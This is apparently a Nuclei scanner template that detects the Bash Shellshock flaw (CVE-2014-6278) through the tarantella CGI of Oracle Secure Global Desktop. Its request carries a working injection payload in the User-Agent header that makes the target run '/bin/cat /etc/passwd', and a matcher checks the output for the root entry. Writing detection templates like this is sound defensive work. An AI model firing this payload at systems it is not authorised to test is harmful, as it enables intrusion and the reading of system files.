id: CVE-2014-6278

info:
  name: "Oracle Global Desktop - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    GNU Bash through 4.3 (Shellshock) does not properly parse function definitions in environment variable values, allowing remote attackers to execute arbitrary commands via a crafted environment. This is reachable over HTTP through mod_cgi scripts such as the Oracle/Sun Secure Global Desktop tarantella CGI.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2014-6278&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=tarantella&match=exact
  classification:
    cve-id: CVE-2014-6278
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2014,shellshock,kev,cmdi

http:
  - method: GET
    path:
      - "{{BaseURL}}/tarantella/cgi-bin/modules.cgi"
    headers:
      User-Agent: "() { :; }; echo; /bin/cat /etc/passwd"
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200